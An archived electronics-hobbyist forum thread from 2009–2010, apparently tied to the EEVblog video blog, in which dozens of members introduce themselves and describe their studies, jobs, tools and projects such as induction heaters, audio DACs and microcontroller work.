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Title: New Member, Please introduce yourself
Post by: mttee2 on October 15, 2009, 10:29:18 am
Typical forum always has a tread on introducing members.  ;D ;D

Hello from Malaysia. I am currently studying in Sunway Monash University Campus in Electrical & Computing System Engineering (2nd year). I got a bit bored by the typical theoretical lecture and wanted to buy some lab instrument for the practical side. I recently bought PICkit 3, fluke 289/FVF, LCR meter TH2821, some soldering tools and breadboards. I am currently building my own linear power supply for my micro-controller and looking forward to start learning micro-controller myself.  ;)

 
Title: Re: New Member, Please introduce yourself
Post by: desolatordan on October 16, 2009, 03:29:21 pm
I'm Dan, and currently a student at the University of Michigan in Ann Arbor, MI. Studying electrical engineering and have interest in DIY lab equipment. I also have an interest in space-related projects such as balloons and satellites.
Title: Re: New Member, Please introduce yourself
Post by: mesoiam on October 17, 2009, 07:41:35 am
Hello, I'm John, a previous student of electrical and electronic engineering at Newcastle University in England, but I'm from Ireland originally. Currently involved in theatre technical work but I still do a bit of Electronics on the side.
Title: Re: New Member, Please introduce yourself
Post by: jimmc on October 17, 2009, 08:47:49 am
Hello, I'm Jim, a semi retired Electronics Design Engineer after 40+ years in the business.
Located in Southern England.
Title: Re: New Member, Please introduce yourself
Post by: Simon on October 18, 2009, 01:04:14 am
Hi all I'm Simon from "sunny England" I stumbled on the blog when reading up about my new Rigol DS1052E scope and I'm ready to have a good old chat with some people about it.

I work as a quality inspector for a company that makes radiators and air conditioning for vehicles so unfortunately not electronic related really, but I'm gradually tooling up at home and getting into microcontrollers
Title: Re: New Member, Please introduce yourself
Post by: gumfish on October 18, 2009, 07:11:14 am
Hi all,

I'm a senior Electronics Engineer working in instrumentation, in and from England, enjoying the blog  :)

Title: Re: New Member, Please introduce yourself
Post by: kc1980 on October 18, 2009, 08:27:04 pm
Hi, I'm an Electrical Components, Materials and Processes engineer at a large US aerospace corporation.  I've been out of school for about 4-5 years now and feel a bit disconnected with my job.  I don't get much exposure to design work at the ol' 9-to-5, so I try to keep myself busy with EE/CS design stuff at home; I really need a good mentor and access to real equipment!  Argghhh....shiver me timbers!  :)
Title: Re: New Member, Please introduce yourself
Post by: qno on October 23, 2009, 02:03:09 am
I am an Electrical and Embedded software engineer from The Netherlands with some time on my hands.
I have worked in the Medical, Consumer and Aerospace industries.
Title: Re: New Member, Please introduce yourself
Post by: charliex on October 23, 2009, 07:01:18 am
charlie, scotlander, living in las vegas, usa, hardware/software hacker who mainly hacks car ecu's to make em go faster and do stuff they were never supposed too.
Title: Re: New Member, Please introduce yourself
Post by: Fernando on October 23, 2009, 07:11:17 pm
I'm Fernando, EE student in Pontificia Universidad Católica de Chile (www.ing.puc.cl), most of my knowledge of electronics come from internet research since my faculty is more interested in pushing bureaucrats out instead of tech guys.
So I have found a really interesting space in Dave's videoblog.
Title: Re: New Member, Please introduce yourself
Post by: mngiggle on October 24, 2009, 04:50:01 am
I'm Steve, a BSEE with 10 yrs of experience, graduated from the University of Minnesota in '99.   I work at an embedded and wireless design services firm (engineering consulting would be the non-buzzword description), and I've been wishing I could have seen Dave's video blog back in the last couple years of college (or the first few of employment).  It's still great to pick up on a few things that I either didn't know or forgot, and his vlog makes for outstanding watching while I'm on the treadmill at home.
Title: Re: New Member, Please introduce yourself
Post by: Dago on October 26, 2009, 02:08:54 am
Hello, my name is Kalle and I'm an EE student from Finland with quite a lot of electronics experience prior to starting university. I'm generally interested in all things electronic (including computer stuff, programming etc.). Done some stuff with microcontrollers etc. and I've been especially interested in high voltage/current stuff (but not limited to) which includes tesla coils, other kind of high voltage supplies and induction heaters etc. I'm a pretty typical engineer-kind-of-guy who has lot of project ideas and designs but rarely gets anything finished, I just tend to lose my interest in project after some time (I've noticed this is very common in engineerish -type people). Currently I've been redesigning my induction heater:

(http://www.dgkelectronics.com/storage/electronics/induction_heater/new_design/sw/igbt_bridge4_resize_400x.png) (http://www.dgkelectronics.com/storage/electronics/induction_heater/new_design/sw/igbt_bridge4_resize_1024x.png)

Here is my website: http://www.dgkelectronics.com/ (haven't bothered to add that much stuff there yet) but you can find all kinds of pictures and stuff of my projects in: http://www.dgkelectronics.com/storage/electronics/

Now excuse me but I have to go and study for tomorrows circuit analysis exam... :-X
Title: Re: New Member, Please introduce yourself
Post by: Ferroto on October 26, 2009, 02:37:06 am
I'm Shawn from Canada and just a week ago I bought a pickit2 and I've been playing around with it for about a week now. Then the other day I came across this blog when I saw Dave destroy the pickit3 in that review I was glad I bought the pickit2. This is also my first time pursuing electronics as a hobby, but I do have alot of experience with computers and I've been reading data sheets religiously for months now :D, Most of my knowledge and interest comes from looking up part #'s for various IC's on google and trying to figure out how a certain device works. ???
Title: Re: New Member, Please introduce yourself
Post by: dexters_lab on October 28, 2009, 05:24:37 am
hello everyone, i'm what is probably best described as a novice electronics tinkerer, usually using PIC microcontrollers. located in the uk near manchester.

love the blogs & videos ;D
Title: Re: New Member, Please introduce yourself
Post by: flolic on October 29, 2009, 06:36:34 am
Hi all, my name is Filip and I am from Croatia. No formal education in electric/electronics (I am machinist) but electronics is my hobby from early days...
Title: Re: New Member, Please introduce yourself
Post by: TrentO on October 30, 2009, 05:44:30 pm
*** This placeholder is here to GUILT the Microchip folks, who are undoubtedly scanning every word here, into at least leaving a 'howdy-do' comment ***

Example:

"Hi I'm Trent. I'm a non-EE amateur electronics guy that decided to get back into Microcontrollers after a sixteen year hiatus from screwing around with 8051-BASIC's in '93. I'm an Aries, like long moon-lit walks along the components sections of Fry's Electronics, and relaxing by the pool with my Digi-Key catalog...."
Title: Re: New Member, Please introduce yourself
Post by: XynxNet on October 31, 2009, 02:13:33 am
Hello, I am a physics and math student from Germany. Electronics is one of my hobbies. I actually stumbled over Daves blog, because of his favorite topic 'cheap chinese multimeters'. At the time I was working for my physics institut and constantly had to repair a bunch of them, which where used and regulary blown in students experiments. It is quite a shame that such crap is used without a critical thought, especially if you have top quality analog multimeters available.
Title: Re: New Member, Please introduce yourself
Post by: Veramacor on October 31, 2009, 02:33:23 pm
Hail from Michigan,

Name is Jeff and my background is an undergraduate degree in Industrial Engineering.  Only cursory training in electronics, but the internet and the EEVblog are my instructors.

Weather is starting to get cold around here, so electronics will be high on the list of indoor activities!
Title: Re: New Member, Please introduce yourself
Post by: Aluminio on November 02, 2009, 07:46:30 am
Hello all, I am Alvaro from Chile, EE as a proffession and hobby. I would like that Fernando, also from chile contacts me. Send me a message to aluminio@hotmail.com

Dave: congratulations for your blog.
Title: Re: New Member, Please introduce yourself
Post by: m.levin on November 04, 2009, 06:12:45 am
Hello My name is Martin 28, well almost and I live in England UK.

I have an interest in Electronics, hence my joining of this forum, but I very keen interest in Model railways and the Electronic side of the hobby.
Title: Re: New Member, Please introduce yourself
Post by: danny on November 06, 2009, 03:43:03 pm
Hi! I am Danny from U.S.A.
Consumer electronics field and Home Automation  :)
Title: Re: New Member, Please introduce yourself
Post by: rmorenojr on November 07, 2009, 03:17:24 pm
Greetings,

My name is Rick.  I'm from Colorado, USA.  I'm an Electrical Engineer (power) and an amateur electronics enthusiast.  Right now I'm thinking of modifying a few things on my motorcycle.
Title: Re: New Member, Please introduce yourself
Post by: Macka on November 08, 2009, 07:38:24 pm
Hi Everyone,

My name is Andrew, I am currently studying for a Bachelor of Electrical and Mechatronic Engineering at UniSA in Adelaide. I am in year 1.5 (due to me doing electronics as a year 12 subject, my TER was dramatically decreased from what it should have been - electronics is the most heavily scaled subject in the year 12 curriculum - so I had to do 4 intro subjects along with my first year subjects.

I have always had an interest in electronics (since kindergarten), but until recently, I have understood very little of it, obviously with uni I am learning a fair bit more then I already knew.

I have only known about this site for a few days and I can't wait for exams to be over so I have the time to watch all of the videos.
Title: Re: New Member, Please introduce yourself
Post by: mightyohm on November 10, 2009, 05:33:12 pm
Hello everyone!

I'm Jeff, electrical engineer, RF/analog/embedded designer, and proprietor of mightyohm.com.   :)
Title: Re: New Member, Please introduce yourself
Post by: Zero999 on November 14, 2009, 05:36:24 am
Hi everyone!

Some people may know me from other forums I post at.
Title: Re: New Member, Please introduce yourself
Post by: terriea on November 19, 2009, 12:22:05 pm
Hi all,
I'm Antoine. I'm a French guy who studied electronics a long time ago. I switched to the binary world and I'm now software engineer with almost eight years of experiance. I had the occasion to work in the world of embedded software, in relation with some hardware-electonics-guy, this combined with the larger and larger amount of enhousiast project I see on the net pushed me to get back into electronics.
In my quest for comprehensive electonics information I found on this marvelous video blog. It's full on great information and good knowledge and all explained clearly. So keep on your exellent work, thank you very much for the class.
Title: Re: New Member, Please introduce yourself
Post by: F2DC on November 24, 2009, 02:57:16 am
Hello everyone : I'm Roland, a semi retired Electronics Research Engineer living in France.
I'm a radio ham with the F2DC call sign.
My electronics interests are summarized in my Web pages : http://roland.cordesses.free.fr/
Title: Re: New Member, Please introduce yourself
Post by: Fathead on November 24, 2009, 04:57:11 am
Hello my name is Pawel. I'm a high school student trying to learn a lot of electronics but lacking the time to do it. I've been doing electronics since I was 12 (not that seriously back then). I've been playing around with basic stamp, Avr, and xilinix spartan. I also like mechanical design and machining which I learned thanks to a very kind teacher during non-mandatory technology classes. I guess I would learn more if took things one step at a time and not just learning the interesting bits ;D
Title: Re: New Member, Please introduce yourself
Post by: santy.raghavan on November 26, 2009, 05:00:24 am
Hello all,

Santosh (Santy) from Dallas, TX. A programmer by trade. No formal training in electronics. I experiment with micros and try to learn things by blowing things up :-).
Awesome blog.

BTW, used to live in Sydney. Miss the nice looking ladies and coffee.

Santy

Title: Re: New Member, Please introduce yourself
Post by: dmlandrum on December 01, 2009, 10:27:58 am
Here I am, five posts in and I only just now saw this thread.

My name's Darren, from Port Huron, Michigan, USA, and I'm a third-year physics undergrad, aiming to be a professional entertainer. I'm an on-and-off electronics hobbyist for many years, but have recently gotten more serious with it, especially with the recent surge of the Maker's movement, thanks in large part to Make Magazine. But my real dream is to become a comedian/musician/entertainer famous enough to appear on my favorite British and Australian panel shows.  ;D Personally, I think wanting to be famous for anything is a serious mental defect, and I should consider getting treatment.

Music is my big thing, so my future plans for projects include modifying one of these old reel-to-reel tape decks for keyboard-based motor speed control, some analog synth stuff, and whatever other interesting sound making stuff. I also want a set up for scientific data collection, so I've been getting more and more into digital electronics lately.

So, hello, and thanks for the welcome.
Title: Re: New Member, Please introduce yourself
Post by: jahonen on December 07, 2009, 07:58:59 am
Hi everybody, my name is Janne and I am 34 years old.

I am working as an electronics design engineer in one medium sized design house here in Finland. I have worked on almost every field of electronics (but excluding RF and microwave), but I find special interest on high-speed digital, signal integrity and EMC fields. I also like to write some utilities to make tedious jobs easier, like SQL-database-based parts management in my work, which was gratefully accepted by my colleagues.

My personal interests are digital signal processing in audio, digital measurement and control algorithms, motion control, FPGA-based things and generally those applications which nobody has not yet tried :)

Here are couple things to show you which are built by me, SPDIF-DAC + headphone amplifier (http://koti.mbnet.fi/jahonen/Audio/DIY/SPDIF-Headphoneamplifier/DAC-HPAMP-027.jpg) (software under debug in that picture), 8-channel volume control (http://koti.mbnet.fi/jahonen/Audio/DIY/8%20Channel%20Volume/8CHVolume-003.jpg) (remote controllable via IR remote or galvanically isolated USB), Tripath(RIP) TA0104 based amplifier (http://koti.mbnet.fi/jahonen/Audio/DIY/Tripath-TA0104/TA3.0-039.jpg) and electric consumption logger (http://koti.mbnet.fi/jahonen/Electronics/EnergyLogger/EnergyLogger-Assembled.jpg) (logs using the flashing led in EE meter front panel) to name a few. And I have created a nice (at least I think so) resistor optimizer (http://koti.mbnet.fi/jahonen/Electronics/ResOptimizer/) for finding out optimal feedback resistors for adjustable regulators or opamp feedback network.

I have also contributed the math code in WinISD pro (some of you may know this software for designing subwoofers or low-frequency driver enclosures).

Regards,
Janne
Title: Re: New Member, Please introduce yourself
Post by: yoshiki on December 14, 2009, 01:08:02 pm
Hello my name is Yoshiki, I am from México I am about to start my 3rd year on Biomedical Engineering, pretty much love & enjoy instrumentation & software. I have been buying my own tools, looking forward to buy my firs oscilloscope.

Looking forward for more blogs, a fan of the EEVB since friday.
Title: Re: New Member, Please introduce yourself
Post by: EETAAS97 on December 23, 2009, 09:10:15 am
 :)
Hello Everyone,
Eddie from USA NC.  I am a System Administrator L3.  I have been in IT for 15+ years.  I also have an EET AAS Degree and Electronic Repair Diploma.  I have not used my eletronic design skills in years.  I am sure I will learn much and I hope to be able to contribute to the forums.  I am a big fan of EEVblog.  Bring on the Vblogs.
Title: Re: New Member, Please introduce yourself
Post by: antb on December 24, 2009, 02:05:38 am
Hi, I'm Anthony from U.K, a Motor mechanic by trade trying to master the electronics side of it all, probably simple stuff compared to all your projects, I'm sure I'll have more questions than answers to offer!

Great blog & Forum.
Title: Re: New Member, Please introduce yourself
Post by: logictom on December 29, 2009, 08:25:28 am
Hey, I'm Tom also from the UK, up in Newcastle. I'm a student at Newcastle uni doing electronic engineering currently doing a placement at GE Oil & Gas as part of my course. Been studying electronics since it was offered at school in year 9. Also looking at doing a MSc in embedded systems engineering at Leeds next year if all goes well :)

Just found this blog and have spent the last couple of days catching up on the videos, great job keep it up!
Title: Re: New Member, Please introduce yourself
Post by: Erik on January 08, 2010, 07:10:32 am
Hello, i'm Erik from the Netherlands. I'm practising electronics at a hobby base and I like programming pic microcontrollers. Because my knowledge only came from what i tought myself and I felt that even tough I could do some microcontroller programming my knowledge of basic electronics is pretty bad so I recently  decided to start reading the "art of electronics" at the advise of David in one if his blogs and since then i'm gathering a nice amount of information out of it.

I can't remember how i found your blog but i like it and sometimes the blogs are pretty funny too. Keep up the good work!
Title: Re: New Member, Please introduce yourself
Post by: icemagic on January 08, 2010, 07:32:33 am
Hey guys,

I'm Moe from Australia, and I'm currently studying for a PhD in Microelectronics. I'm 25 years old. At the moment. :)
Title: Re: New Member, Please introduce yourself
Post by: Brett on January 10, 2010, 03:24:57 pm
Hi Everybody!

My name's Brett, and I'm a currently employed Electronic Design Engineer in the USA, working at the same company for the last 14 years.  I design DC motor controllers for a wide ranging market area and medical equipment.  I've always been a tinkerer, and I'm just now really starting to put my "home projects" back in the works.  It's been a few good years since I've done much at home since I have a 4 year old son that keeps my wife and I very busy.  My buddy and I are trying to build up some cool projects with the Arduino, which makes development for someone with not a lot of time, a piece of cake.  Granted it's not super tiny, but the platform for prototyping purposes rocks.  I use it around the lab at work as well when I need a quick solution for some circuit manipulation and DAQ type stuff.  I would love to put together some videos like Dave has done... but first I'll need to fix up my workbench.  Right now it's an absolute mess.  Last night I had to work on the kitchen table.  Anyhoo... see you around the forum.
Title: Re: New Member, Please introduce yourself
Post by: APS on January 14, 2010, 05:17:47 am
Hi everyone,

my name is Mario and I live in Croatia but born in Bosnia. My primary job is in elementary school but my hobby (soon my job I hope) is electronic. I am in electronic ten years now. I like DIY stuff whether in electronic or other. I like audio, micros, lab equipment, power electronic etc. I come across blog and this forum and I think they are great.

Regards,
Mario
Title: Re: New Member, Please introduce yourself
Post by: raikon16 on January 23, 2010, 09:32:40 am
greetings mighty craftsmen.

John, from Latvia 20 yo. My lab currently consists of pc, table lamp, basic tools ( no multimeter ) soldering iron and vast amounts of various electronic gadgets - parts (95 % like 20 to 30 yo (made in soviet Russia ), I actually have tubes; raw material - pcboards, wires, screws, metal sheets, organic glass,etc ;boards from various electronic equipment - again 85 % 20 yo, and electronic equipment ( only thing that is not ancient - PSX, CRT TV, laptop, mobile phone). only if i could do something with these resources.

currently investigating how AC motor is working   
Title: Re: New Member, Please introduce yourself
Post by: Murphy on January 27, 2010, 05:05:25 am
Hey all,

I'm Mike, a 22 year old EE student from Connecticut. Been tinkering with electronics all my life but only recently getting serious about it.
Finished my associates at a community college a little over a year ago and still trying to figure out what to do about getting a bachelors. I Don't know anybody that does electronics and that's getting annoying so I need get into some forums maybe a chat room. Been lurking here because of the awesome blog so I figure it's as good a place as any to start.

Currently honing my microcontroller programming skills (PICs), stocking up on components, and stripping a decades worth of salvaged PC boards to save some space. >.<
Title: Re: New Member, Please introduce yourself
Post by: stormBytes on January 31, 2010, 07:43:12 am
Hey Folks,

I'm Daniel. I'm 34 years old, nothing to do with EE, just an avid hobbyist though I might actually think about changing that. I've always been fascinated by the shadowy world of electronics, circuits, and micros. I've finally decided to actually do something about it!

Thanks for having me!

Daniel
Title: Re: New Member, Please introduce yourself
Post by: DJPhil on January 31, 2010, 04:20:04 pm
Greetings!

I'm Sean and I live in the suburbs of Omaha, in the center of the US. I've always loved science in (almost) all it's forms, and I'm recently returning to discrete electronics. I have an abundance of time, and a lack of money, so I do almost everything with tinkered and scavenged components. I kept all the books from the kits of my childhood, and I was amazed to see that I had one of the same ones Dave featured on his blog! Mine were purchased in the mid '80s, and at the time my family lived in England, just about the other side of the world.
Title: Re: New Member, Please introduce yourself
Post by: shawn01 on January 31, 2010, 05:30:15 pm
Hello My name Is Shawn and I am from Chicagoland. I have spent most of my Time in Manufacturing, and have performed a little RMA work too. 
The highest Position I have held is Test Engineer (but just for a few days as a sub)
I am here to see what Dave can come up with.  His product reviews, and Tutorials are helpful. And can always be played again when needed.
Title: Re: New Member, Please introduce yourself
Post by: iva on February 01, 2010, 01:55:27 am
Hi all, my name is Ivan, I've been playing with electronics since my first Philips kit (well before puberty!), studied industrial electronics in high school, when to uni for an electronics engineering bachelor and master...
and then moved to the dark side probably, I've been working as a software engineer for more than 10 years already  ::)
Title: Re: New Member, Please introduce yourself
Post by: rossmoffett on February 03, 2010, 03:34:55 pm
I am a student at Oklahoma State University in the USA.  I played with my older brothers radio shack xxx in one kits when I was very young, maybe eight years?  I was pretty fascinated by it but my father wouldn't give me much chance to play with the parts on my own so it wore off.  I picked up again when I was 16 and wanted a vacuum tube guitar amp, an expensive product.  I did my research and collected garbage parts for under $100 and built it.  I've been struggling and in/out of college for the past six years for economic reasons, studying Electrical/Computer Engineering for a couple of years and then changing to Instrumentation at another OSU campus with better economic prospects.  I'll earn that degree in a few months, and one in Nano-Scientific Instrumentation, I already have an associates degree in Electrical/Electronics Technology.

My degree programs are broad in scope, I chose them because it fits my lifestyle and hobbies, which are also broad in scope.  My areas of experience/specialty/interest are PLCs, FPGAs, microcontrollers, vacuum tube electronics, hydraulics&pneumatics, motor control, fluids, industrial automation, optimization/efficiency, alternative energies, crude oil production and especially electronic sensing of all kinds.  I enjoy reading immensely, and spend most of my time doing that.  When I can tear myself away from learning on the internet I love to rock climb, tinker and hack electronics, play guitar, work cattle, cook and meet interesting people.  I try to live by the following quote, which I believe is very eloquent:

Quote
A human being should be able to change a diaper, plan an invasion, butcher a hog, conn a ship, design a building, write a sonnet, balance accounts, build a wall, set a bone, comfort the dying, take orders, give orders, cooperate, act alone, solve equations, analyze a new problem, pitch manure, program a computer, cook a tasty meal, fight efficiently, die gallantly. Specialization is for insects.

-Robert A. Heinlein

This isn't a resume, but I am looking for a job in Los Angeles, starting in May, FYI.  ;D
Title: Re: New Member, Please introduce yourself
Post by: Gamal on February 08, 2010, 03:57:05 pm
   
   Hi,  this is Gamal from Fl. U.S.A, I have been studing electronics on my own for the past six years, no class room just home studies.
     Finally I am now in college working on my AAS degree in Electical/Electronics Engineering. Presently I am doing maths and english. I am just here to learn and prepare for my major. Enjoy all the blog and video.

                                                                                         Gamal
Title: Re: New Member, Please introduce yourself
Post by: horzza on February 18, 2010, 02:32:35 pm
G'day all. I'm Chris from Melbourne, Australia, about to enter my second year of an electronics engineering and physics double degree at RMIT. I've been watching the blog since about episode 8 or 9 but I'm generally a bit of a lurker so never got involved in it's forum or discussion. Dad got me started in electronics after seeing I had an interest in pulling stuff apart with a Dick Smith 20 in 1 kit a few years ago.
Love the blog, particularly the the two blogs on job interview tips, as well as the several guides to things like caps, batteries and solar cells.
Title: Re: New Member, Please introduce yourself
Post by: mckee on February 20, 2010, 12:12:48 am
Hello,
my name is Thomas and I am writing from Germany, nationality is Polish .
I am doing some hobby electronics since many years .
Best Greetings to everbody !  ;D
Title: Re: New Member, Please introduce yourself
Post by: RayJones on February 20, 2010, 12:43:33 pm
Hi, I'm Ray and work in the Bureau of Meteorology's Radar Engineering group.

Been a geek since high school and still find the huge variety of specialist areas of electronics fascinating.

Title: Re: New Member, Please introduce yourself
Post by: tesla500 on February 20, 2010, 01:56:06 pm
Hi, I'm David, A 23-year-old from Vancouver, BC.

I got into electronics and making things way back, probably when I was about 5 or 6. My dad showed me how to make counters using 74* series logic chips. And just like Dave, I always annoyed my parents taking things apart  ;D Throughout high school, I was always building projects such as electric powered bicycles and go karts, and high voltage devices like Tesla coils.

After high school, I took Electrical and Computer Engineering Technology at BCIT. I now regret that, I should have taken an engineering degree program, but that's another story. During my free time a friend and I converted a Pontiac Firefly to electric drive.

Now, I work as a power electronics engineer at Delta-Q Technologies. They make battery chargers for golf carts and industrial vehicles like scissor lifts.

Lately my projects have been building a high power AC inverter for an electric car drive system, and a high-speed video camera

David
Title: Re: New Member, Please introduce yourself
Post by: Emyr on February 22, 2010, 03:58:35 am
With a BSc Computer Science under my belt and slowly becoming a zombie at my first programming job (one of two young webdevs at a small firm of solicitors) I recently purchased an Arduino starter kit to keep me busy. Coupled with an interest in cars, bikes and guitars I already have a few ideas to work on.

My first idea is to use the Arduino as glorified ADC feeding into my Asus eeePC to make an electronic dash for my Peugeot 306 TD (no ECU, no ODB port...)

Here's my first bit of soldering since school:

Copier fix'd!

(http://i41.photobucket.com/albums/e273/Emyr42/th_IMG00004.jpg) (http://i41.photobucket.com/albums/e273/Emyr42/IMG00004.jpg)

Plus the accountant reimbursed me for the soldering iron ;D I've since replaced the switch with a nice red pushswitch mounted in a square of cardboard (that switch and the leads are from my starter kit). The card means it should deter cavemen from breaking it and it's east to swap it for a fresh piece if it goes...
Title: Re: New Member, Please introduce yourself
Post by: teebooEET on February 25, 2010, 06:42:05 pm
Im TEE,

Im from milwaukee Wi. i studying electronic engineering at MATC. i know that electronic can be hard sometime but im determine to study hard and finish my school with  an electrical engineering degree. i hope that you guy can help answer some of the question i may have.
Title: Re: New Member, Please introduce yourself
Post by: PetrosA on February 26, 2010, 03:34:59 pm
Hello, I'm Peter and I'm an electrician at the moment. I was one of those kids who bought 25 cent radios at the flea markets and tried to fix them, but I never really got very advanced at it. Later I started doing electrical work for a few years, then moved to Poland for 14 years and ran a coffee house, translated a few books and came back to the US. I'm interested in increasing my understanding of various aspects of my work and tools as an electrician, as well as just learning new stuff for the hell of it :)

This is attempt #4 at posting this. I keep getting timed out errors on attempts to post. Also had this reply show up as a new post in the General chat section on the first attempt. Is Firefox 3.6 having any known issues with this forum software?
Title: Re: New Member, Please introduce yourself
Post by: VK3DRB on February 28, 2010, 02:52:30 pm
G'Day. I am an engineer who has been into the industry for 30 years... mainframes, analogue and digital electronics design & manufacturing, instrument design, embedded, Labview, C etc. Dave's blogs rock. I am also a Dave.

cheers,
Dave
Title: Re: New Member, Please introduce yourself
Post by: GeekGirl on February 28, 2010, 03:46:43 pm
G'Day. I am an engineer who has been into the industry for 30 years... mainframes, analogue and digital electronics design & manufacturing, instrument design, embedded, Labview, C etc. Dave's blogs rock. I am also a Dave.

cheers,
Dave

Is this some evil experiment ? Is Dave cloning himself ;)
Title: Re: New Member, Please introduce yourself
Post by: PetrosA on March 03, 2010, 01:46:04 pm
G'Day. I am an engineer who has been into the industry for 30 years... mainframes, analogue and digital electronics design & manufacturing, instrument design, embedded, Labview, C etc. Dave's blogs rock. I am also a Dave.

cheers,
Dave

Is this some evil experiment ? Is Dave cloning himself ;)

Probably more like copying and pasting himself ;)
Title: Re: New Member, Please introduce yourself
Post by: ShiftPlusOne on March 04, 2010, 01:19:14 am
Hey everyone,

I am 21, studying Electrical Engineering and Business Management at RMIT. I found EEVBlog through the hackaday post and have since become much more interested in electronics engineering.

I joined the forum to see what other people are doing and to get ideas and feedback on my own future projects.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: Squirrel on March 04, 2010, 02:04:35 am
I'm 30 year old electrician. I trust Fluke's multimeters.

I live in Finland, here we meet polar bear and ashes in the middle of streets and need fight with bear for food in the woods.
Title: Re: New Member, Please introduce yourself
Post by: ArtemisGoldfish on March 04, 2010, 10:51:58 am
Howdy!

I'm John, currently in school for a degree as an Engineering Technician (can't quite afford college for real engineering, maybe one day.) Primary interest is RF, though I have a special place in my heart for digital. Love playing with test equipment (Scopes, service monitors, spectrum analyzers, network analyzers, etc.) and generally fixing things (seems related to Dave's latest video blog.)
Title: Re: New Member, Please introduce yourself
Post by: free_electron on March 12, 2010, 03:59:20 am
Vincent from San Jose California. Working for a large semiconductor manufacturer. I develop chips that go in harddisks. Started with electronics when i was about 8 years old. Been working in semiconductors for 16 now.
Main interests : FPGA (Altera / verilog), 8051 , Cortex , Arm7, analog stuff , mixed signal stuff.
Title: Re: New Member, Please introduce yourself
Post by: JimBeam on March 12, 2010, 05:45:34 pm
Hello everybody,

my name is Andreas and I come from northern germany (Delmenhorst near Bremen). I was born in Berlin and have lived there for over 40 years.
My interests are electronics (of course and for more than 20 years now...), music (actively and passive) and my family.

Main interests in electronics are:
- microcontrollers, I started with 8051 and PIC, now mostly ATMEL AVRs
- firmware for the above
- audio/video and mixed signal electronics, i.e. I developed a teletext generator, that meanwhile is used by quite a lot smaller and larger broadcast stations in germany, austria and swiss.
- measurement circuits
Title: Re: New Member, Please introduce yourself
Post by: migsantiago on March 13, 2010, 01:32:57 am
Hi, I'm from Mexico City.

I studied Robotics Engineering and now I'm finishing a Masters in Computing Engineering.

I like the eevblog videos since because they have so many tricks and tips that could come in handy some day.  ;D
Title: Re: New Member, Please introduce yourself
Post by: mzacharias on March 17, 2010, 10:22:23 pm
Mark Z. from Wichita, KS. USA. I'm an audio and video repair technician, and I collect multimeters, some old, some new. I have had a Fluke 85III for going on 5 years and I have to admit I couldn't help picking up an 87V after continually seeing it treated as a de facto reference meter in the video blogs.
I also like old Simpsons ( I own several) AVO's (have 2) and I have a couple AN/PSM-37 military types. The guys at work think I'm crazy but as Dave says, any well equipped bench has at least 5 of these things, right? ;)
Title: Re: New Member, Please introduce yourself
Post by: anthonycroberts on March 20, 2010, 07:34:01 am
Hi,

I live in San Francisco, have a background in finance & dabble in embedded systems.

-Tony
Title: Re: New Member, Please introduce yourself
Post by: VladKEasternTiger on March 22, 2010, 11:11:07 am
Hi, I'm from Mexico City.

I studied Robotics Engineering and now I'm finishing a Masters in Computing Engineering.

I like the eevblog videos since because they have so many tricks and tips that could come in handy some day.  ;D

What career can Robotics Engineering lead? Could the things you learnt be self taught I understand the college provides with the materials to use and experiement with. It sounds interesting but I cannot afford college fees :(
Title: Re: New Member, Please introduce yourself
Post by: migsantiago on March 22, 2010, 01:21:52 pm
Hi, I studied in a public university in Mexico, so fees were no problem.

My robotics major included some general courses: electronics, programming, hydraulics, neumatics, mechanic, etc.

Most of those things can be self taught, specially electronics and programming since the material you need to practice is easy to acquire.

A robotics engineer can work anywhere he wants considering the broad knowledge he can get. I love electronics and programming and I am looking forward to finding a job which includes those areas.
Title: Re: New Member, Please introduce yourself
Post by: VladKEasternTiger on March 23, 2010, 07:14:26 am
"Most of those things can be self taught, specially electronics and programming since the material you need to practice is easy to acquire."

Thank you for the reply, tell me where to look please?
Title: Re: New Member, Please introduce yourself
Post by: migsantiago on March 23, 2010, 07:57:21 am
Well, I don't know where you are from, but there should be electronics stores around you.

There are lots of basic electronics and programming tutorials online, I'm sure that if you use Google you'll find some. You can also go to a library and look for some books.
Title: Re: New Member, Please introduce yourself
Post by: jyrgen on March 30, 2010, 06:13:55 am
Hello! My name is Patrik and I'm a recently graduated Robotics Engineer in Sweden. My main subject is electronics and in the robotic company I work in I'm designing a few pcb:s at the moment. I love this blog!
Title: Re: New Member, Please introduce yourself
Post by: migsantiago on March 30, 2010, 08:54:55 am
Hello! My name is Patrik and I'm a recently graduated Robotics Engineer in Sweden. My main subject is electronics and in the robotic company I work in I'm designing a few pcb:s at the moment. I love this blog!

Hi!

It seems that we studied the same major  ;D . What were the requirements they asked in your current job?
Title: Re: New Member, Please introduce yourself
Post by: jyrgen on March 30, 2010, 08:45:25 pm
migsantiago: Hello! Nice to see that there are other countries with robotics as master! After I graduated I looked at many different jobs in Sweden but unfortunately all jobs were either work only with electronics or only software. I then started to search for jobs outside Sweden and I found a few that I applied for but I guess that is really hard to get hired in an other country with no working experience. It seemed like the only solution for me were to start my own business so that's what I'm now working on along with one of my classmates and a professor at our school. We are developing a robot but I can't tell you what it is at the moment. I love this job even though I currently don't get any salary. 

I hope that answers your question!
Title: Re: New Member, Please introduce yourself
Post by: migsantiago on March 31, 2010, 01:41:15 am
migsantiago: Hello! Nice to see that there are other countries with robotics as master! After I graduated I looked at many different jobs in Sweden but unfortunately all jobs were either work only with electronics or only software. I then started to search for jobs outside Sweden and I found a few that I applied for but I guess that is really hard to get hired in an other country with no working experience. It seemed like the only solution for me were to start my own business so that's what I'm now working on along with one of my classmates and a professor at our school. We are developing a robot but I can't tell you what it is at the moment. I love this job even though I currently don't get any salary. 

I hope that answers your question!

Ohh that's great. I wish you success on your self employed job.  ;D
Title: Re: New Member, Please introduce yourself
Post by: A-sic Enginerd on April 01, 2010, 05:54:32 pm
Doin' the newbie chime in:

Been doing chip design for a number of years. Has become "just a job", so recently started working up the hobby lab. I mean come on, you can arrange flops and AND and OR gates in only so many ways!

Computer Engr by degree, but have just about completely forgotten all the EE related background I got in school. So yeah, I'll be spending my share of time in the "Beginner" section. ;D
Title: Re: New Member, Please introduce yourself
Post by: csadzuki on April 02, 2010, 08:46:18 pm
Hello everyone,

Newbie here from Japan ;)
I'm a Software Engineer with a strong interest in Electronics.
Hoping to learn many things and have some fun here in the forum.  ;D

- Csadzuki
Title: Re: New Member, Please introduce yourself
Post by: MTron on April 04, 2010, 02:26:36 pm
Hey!

Names Matthew and i live in Ontario, Canada

I'm not really involved in electronics as a profession, more of a hobby that I'm just getting into...i do a lot of general fabrication on my spare time (welding, forming, repairing, destroying...lol)....i can never have to many tools.... ;D

